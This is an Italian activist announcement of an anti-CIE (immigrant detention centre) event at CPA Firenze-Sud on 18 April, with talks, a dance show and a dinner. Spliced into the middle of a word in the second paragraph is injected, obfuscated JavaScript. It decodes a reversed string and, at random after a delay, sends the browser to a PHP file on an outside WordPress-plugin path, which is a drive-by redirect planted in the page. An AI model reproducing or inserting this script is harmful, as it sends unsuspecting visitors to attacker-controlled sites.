No ai CIE, né in Toscana né altrove. Il 18 al Cpa

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In un periodo di così forte crisi economica, politica e sociale, dove media e istituzioni fanno leva su false paure per innescare una guerra tra poveri, non c’è da stupirsi se le norme del pacchetto sicurezza aumentano di un terzo la pena del reato se commesso da un cl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andestino e i CIE vengono considerati indispensabili strumenti di “sicurezza” da tutto il ceto politico. Le stesse istituzioni toscane, che fino a ieri si dichiaravano contrarie all’edificazione di un CIE sul territorio regionale sono ora unite nel progetto di costruzione di uno di questi carceri.

Proprio la campagna elettorale che ci siamo appena lasciati alle spalle ha sancito ancora una volta questa unità di intenti, ma oltre a ciò, con la conclusione delle regionali, il Ministero degli Interni dovrebbe, entro breve, annunciare ufficialmente dove vorrebbero costruire il CIE in Toscana.

Pensiamo che sia indispensabile opporsi e lottare affinché il CIE non venga costruito anche in Toscana, informare e manifestare perché la realtà del CIE venga conosciuta e inquadrata per ciò che veramente rappresenta: uno strumento di guerra, reclusione, emarginazione e di ricatto nei confronti degli immigrati che contribuisce allo sfruttamento della classe tutta.

Dai campi di Rosarno alle Cooperative del nord, dal CIE di Ponte Galeria a quello di via Corelli sono sempre più frequenti i momenti in cui gli immigrati si rendono protagonisti, si organizzano e si ribellano alla repressione e allo sfruttamento: anche per questo è fondamentale che la lotta contro i CIE e degli immigrati per i loro diritti sia parte integrante della lotta di classe nel nostro paese.

Per questo il CPA fi-sud, la Comunità delle Filippine, la Comunità della Costa d’Avorio, la Comunità dello Sri Lanka e la Comunità Peruviana organizzano per domenica 18 aprile una giornata di festa, informazione e iniziativa che si svolgerà secondo il seguente programma:

DOMENICA 18 APRILE AL CPA FI-SUD

ORE 16.00 – PRESENTAZIONE DEL DOSSIER PRODOTTO DA NOCIETOSCANA

ORE 19.00 – SPETTACOLO DI DANZA ORGANIZZATO DALLA COMUNITA’ DELLA    COSTA D’AVORIO

a partire dalle ore 20.00 – CENA A BUFFET CON PIATTI TIPICI E MUSICA E BALLI     TRADIZIONALI

Durante la giornata sarà esposta una mostra fotografica e saranno proiettati video sulla questione dell’immigrazione, la realtà degli sbarchi e la quotidianità dei CIE

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